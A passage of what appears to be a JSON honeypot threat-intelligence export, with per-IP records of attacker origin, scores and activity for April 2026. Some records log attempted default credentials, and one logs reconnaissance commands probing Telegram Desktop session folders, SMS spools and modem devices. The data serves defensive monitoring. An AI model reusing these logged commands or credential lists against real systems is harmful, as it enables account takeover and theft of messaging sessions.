        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:35:50.811000+00:00",
        "last_seen_30d": "2026-04-30T06:37:48.752000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "103.248.94.93": {
      "attack_count": 50,
      "first_seen": "2026-04-14T10:41:20.703Z",
      "last_seen": "2026-04-14T10:46:45.229Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132116,
      "as_org": "Ani Network Pvt Ltd",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T10:41:20.703000+00:00",
        "last_seen_30d": "2026-04-14T10:47:51.401000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "39.73.143.228": {
      "attack_count": 50,
      "first_seen": "2026-04-07T23:56:42.282Z",
      "last_seen": "2026-04-08T00:02:06.685Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T23:56:42.282000+00:00",
        "last_seen_30d": "2026-04-08T00:03:08.427000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.166.152": {
      "attack_count": 50,
      "first_seen": "2026-04-08T22:12:30.100Z",
      "last_seen": "2026-04-08T22:17:54.484Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T22:12:30.100000+00:00",
        "last_seen_30d": "2026-04-08T22:18:57.929000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.146.110.215": {
      "attack_count": 48,
      "first_seen": "2026-04-23T02:22:38.947Z",
      "last_seen": "2026-04-23T02:27:50.421Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101ngloi J\u0101t",
      "asn": 139549,
      "as_org": "Crisp Enterprises",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T02:22:38.947000+00:00",
        "last_seen_30d": "2026-04-23T02:28:59.899000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "124.29.194.213": {
      "attack_count": 48,
      "first_seen": "2026-04-04T03:59:21.395Z",
      "last_seen": "2026-04-18T03:56:09.102Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T03:59:21.395000+00:00",
        "last_seen_30d": "2026-04-18T03:57:10.994000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 26
      }
    },
    "223.123.72.5": {
      "attack_count": 48,
      "first_seen": "2026-04-24T23:37:15.683Z",
      "last_seen": "2026-04-24T23:44:09.115Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T23:37:15.683000+00:00",
        "last_seen_30d": "2026-04-24T23:45:14.486000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "109.104.154.181": {
      "attack_count": 44,
      "first_seen": "2026-04-24T13:54:17.990Z",
      "last_seen": "2026-04-26T23:24:12.066Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.login.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 136258,
      "as_org": "BrainStorm Network, Inc",
      "threat_score": 69.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 28.8,
        "persistence": 3.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 757,
        "days_active_30d": 4,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-04-24T01:35:40.240000+00:00",
        "last_seen_30d": "2026-04-27T07:09:55.451000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 441,
        "Honeytrap": 124,
        "Sentrypeer": 123,
        "Cowrie": 44,
        "Redishoneypot": 16,
        "Dionaea": 5,
        "ElasticPot": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "121.179.247.151": {
      "attack_count": 44,
      "first_seen": "2026-04-16T08:14:20.487Z",
      "last_seen": "2026-04-16T08:15:42.083Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suncheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T08:14:20.487000+00:00",
        "last_seen_30d": "2026-04-16T08:25:41.250000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "103.84.57.217": {
      "attack_count": 40,
      "first_seen": "2026-04-14T11:58:46.533Z",
      "last_seen": "2026-04-14T12:03:06.622Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 141421,
      "as_org": "MUX BROADBAND PRIVATE LIMITED",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T11:58:46.533000+00:00",
        "last_seen_30d": "2026-04-14T12:04:15.801000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "152.52.108.146": {
      "attack_count": 37,
      "first_seen": "2026-04-13T03:05:25.489Z",
      "last_seen": "2026-04-13T03:08:24.628Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T03:05:25.489000+00:00",
        "last_seen_30d": "2026-04-13T03:09:29.334000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "34.86.213.47": {
      "attack_count": 32,
      "first_seen": "2026-04-05T08:47:10.211Z",
      "last_seen": "2026-04-06T04:52:37.586Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "ubnt"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS",
        "ubnt"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T08:47:10.211000+00:00",
        "last_seen_30d": "2026-04-06T04:53:43.378000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 14
      }
    },
    "115.54.125.14": {
      "attack_count": 30,
      "first_seen": "2026-04-19T02:37:17.146Z",
      "last_seen": "2026-04-19T02:40:31.629Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T02:37:17.146000+00:00",
        "last_seen_30d": "2026-04-19T02:41:39.317000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "158.69.9.127": {
      "attack_count": 30,
      "first_seen": "2026-04-30T19:10:05.679Z",
      "last_seen": "2026-04-30T19:15:16.918Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T19:10:05.679000+00:00",
        "last_seen_30d": "2026-04-30T19:16:20.227000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "207.46.224.83": {
      "attack_count": 25,
      "first_seen": "2026-04-01T13:58:56.531Z",
      "last_seen": "2026-04-01T14:29:54.740Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "1234567890"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:58:56.531000+00:00",
        "last_seen_30d": "2026-04-01T14:31:03.320000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "159.89.31.79": {
      "attack_count": 22,
      "first_seen": "2026-04-24T06:48:40.624Z",
      "last_seen": "2026-04-24T06:50:17.804Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T06:48:40.624000+00:00",
        "last_seen_30d": "2026-04-24T06:51:26.402000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "167.86.114.141": {
      "attack_count": 20,
      "first_seen": "2026-04-30T13:53:12.793Z",
      "last_seen": "2026-04-30T13:54:29.166Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:53:12.793000+00:00",
        "last_seen_30d": "2026-04-30T13:55:33.866000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "176.32.193.16": {
      "attack_count": 16,
      "first_seen": "2026-04-03T13:16:25.536Z",
      "last_seen": "2026-04-28T11:02:21.069Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": null,
      "asn": 197834,
      "as_org": "Ucom CJSC",
      "threat_score": 99.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 923,
        "days_active_30d": 30,
        "ports_targeted_30d": 100,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T17:05:32.155000+00:00",
        "last_seen_30d": "2026-04-30T06:01:18.987000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 676,
        "Honeytrap": 175,
        "Redishoneypot": 24,
        "Dionaea": 18,
        "Cowrie": 16,
        "ConPot": 6,
        "ElasticPot": 2,
        "Honeyaml": 2,
        "Mailoney": 2,
        "Tanner": 2
      }
    },
    "111.22.249.37": {
      "attack_count": 15,
      "first_seen": "2026-04-12T10:53:02.574Z",
      "last_seen": "2026-04-12T10:53:06.357Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 56047,
      "as_org": "China Mobile communications corporation",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:53:02.574000+00:00",
        "last_seen_30d": "2026-04-12T10:54:15.200000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "45.38.143.10": {
      "attack_count": 15,
      "first_seen": "2026-04-13T18:28:20.106Z",
      "last_seen": "2026-04-13T18:28:31.537Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "monitor",
        "support",
        "user"
      ],
      "passwords_attempted": [
        "monitor",
        "support",
        "user"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T18:28:20.106000+00:00",
        "last_seen_30d": "2026-04-13T18:29:39.071000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 7
      }
    },
    "89.35.119.78": {
      "attack_count": 15,
      "first_seen": "2026-04-04T14:51:04.523Z",
      "last_seen": "2026-04-04T14:52:15.172Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 57043,
      "as_org": "Hostkey B.v.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T14:51:04.523000+00:00",
        "last_seen_30d": "2026-04-04T14:53:23.660000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "143.244.128.100": {
      "attack_count": 12,
      "first_seen": "2026-04-29T02:00:34.631Z",
      "last_seen": "2026-04-29T02:01:49.904Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 73.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 124831,
        "days_active_30d": 1,
        "ports_targeted_30d": 64039,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-04-29T01:58:10+00:00",
        "last_seen_30d": "2026-04-29T02:10:14.321000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108899,
        "Honeytrap": 15872,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 8,
        "Dionaea": 8,
        "Miniprint": 8,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "36.64.174.50": {
      "attack_count": 10,
      "first_seen": "2026-04-14T04:41:36.557Z",
      "last_seen": "2026-04-15T01:01:15.655Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T04:41:36.557000+00:00",
        "last_seen_30d": "2026-04-15T01:02:20.056000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "65.49.1.232": {
      "attack_count": 10,
      "first_seen": "2026-04-01T02:15:17.081Z",
      "last_seen": "2026-04-27T14:35:58.809Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.160 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-04-01T02:15:17.081000+00:00",
        "last_seen_30d": "2026-04-30T13:56:53.548000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 221,
        "Honeytrap": 75,
        "Ciscoasa": 11,
        "Cowrie": 10,
        "H0neytr4p": 9,
        "ConPot": 6,
        "Mailoney": 6,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "ElasticPot": 1
      }
    },
    "72.255.26.206": {
      "attack_count": 10,
      "first_seen": "2026-04-04T05:08:21.960Z",
      "last_seen": "2026-04-04T05:09:27.388Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T05:08:21.960000+00:00",
        "last_seen_30d": "2026-04-04T05:10:32.608000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "194.164.107.5": {
      "attack_count": 9,
      "first_seen": "2026-04-03T14:39:28.122Z",
      "last_seen": "2026-04-03T15:10:42.441Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
